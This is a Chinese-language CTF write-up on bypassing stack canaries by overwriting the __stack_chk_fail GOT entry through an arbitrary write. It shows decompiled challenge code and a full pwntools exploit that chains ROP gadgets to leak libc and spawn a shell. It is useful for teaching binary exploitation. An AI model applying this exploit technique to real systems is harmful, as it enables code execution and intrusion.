__stack_chk_fail绕过canary
canary是保护栈的机制,会随机产生一个数放在栈底前四个字节或者前八个字节,在函数结束时会检查这个数是否改变,如果改变的话会触发__stack_chk_fail函数,打印arg[0]参数。然后强制退出,注意_stack_chk_fail函数不是在原函数退出后再执行,而是在函数执行leave指令时call_stack_chk_fail,栈的结构长这个样子

执行_stack_chk_fial函数后直接退出程序,根本来不及执行在返回地址构造的rop,这也是一般防止栈溢出的方法
目前我知道的可以绕过的两种办法一个是任意读,一个是任意写,下面要举例的就是任意写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; char v5[264]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); sub_400766(a1, a2, a3); puts("^_^"); while ( 1 ) { while ( 1 ) { puts("your choice"); v4 = sub_4007C7(); if ( v4 ) break; sub_40086C(); } if ( v4 != 1 ) break; sub_4008BB(v5); } return 0LL; }
int sub_4007C7() { char buf; int i; int v3; char nptr[24]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { v3 = read(0, &buf, 1uLL); if ( v3 <= 0 ) { puts("error"); exit(0); } if ( buf == 10 ) { nptr[i] = 0; return atoi(nptr); } nptr[i] = buf; } return atoi(nptr); }
|
逻辑比较简单,可以两个主要功能是栈溢出和任意写,绕过canary要怎么利用_stack_chk_fail呢,这道题主要利用修改_stack_chk_fail的got表,让执行这个函数时跳到我们构造的指令上,就可以避免程序退出了,主要是不让程序退出,所以覆盖got表时可以是gadget或者一个普通函数,我本来是选择覆盖成一个普通函数的,但是一直覆盖不成功,很折磨,知道看到了佬的wp才发现自己有多愚蠢。
这个程序接收任意写地址时是接收整数字符串的,所以得把地址转换成十进制输入,我是先把他转化成十进制,然后输出的,但其实str(地址)就行,这样就会自动把十六进制转化成十进制然后输出,然后是要覆盖的值,这个是通过read接受的,他是直接接收字符,然后把字节转化成对应的十六进制储存,也可以直接接收\x的形式,我们要输入地址,直接\x输出就行,但当时受上面的输出影响,也直接输出十进制整数字符串了,最后转化后的十六进制数肯定不是我们想要的。
总结:要注意程序接收数据时的形式,根据他的形式输出对应的值
wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context.log_level='debug' sh=process('./pwn1') elf=ELF('./pwn1') libc=elf.libc pop3_ret=0x4009ff pop_rdi=0x400a03 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] __stack_fail=elf.got['__stack_chk_fail'] sh.recvuntil('your choice') sh.sendline('0') sh.recvuntil('address:\n') sh.sendline(str(__stack_fail)) sh.recvuntil('content:\n') sh.send(p64(pop3_ret)) sh.recvuntil('your choice') sh.sendline(str(1)) sh.recvuntil('size:') sh.sendline('311') payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40090B)+'a'*(0x110-0x8*3) sh.recvuntil('content:\n') sh.sendline(payload) sh.recvuntil('your choice') sh.sendline('2') sh.recvline() puts_addr=u64(sh.recv(6).ljust(8,'\x00')) print hex(puts_addr) libc.address=puts_addr-libc.sym['puts'] payload1=p64(pop_rdi)+p64(next(libc.search("/bin/sh")))+p64(libc.sym['system'])+'a'*(0x110-0x8*3) sh.recvuntil('your choice') sh.sendline(str(1)) sh.recvuntil('size:') sh.sendline('311') sh.sendline(payload1) sh.sendline('2') sh.interactive()
|
我是最后覆盖成pop3地址,然后执行我的rop的,佬是覆盖成ret的,但原理差不多。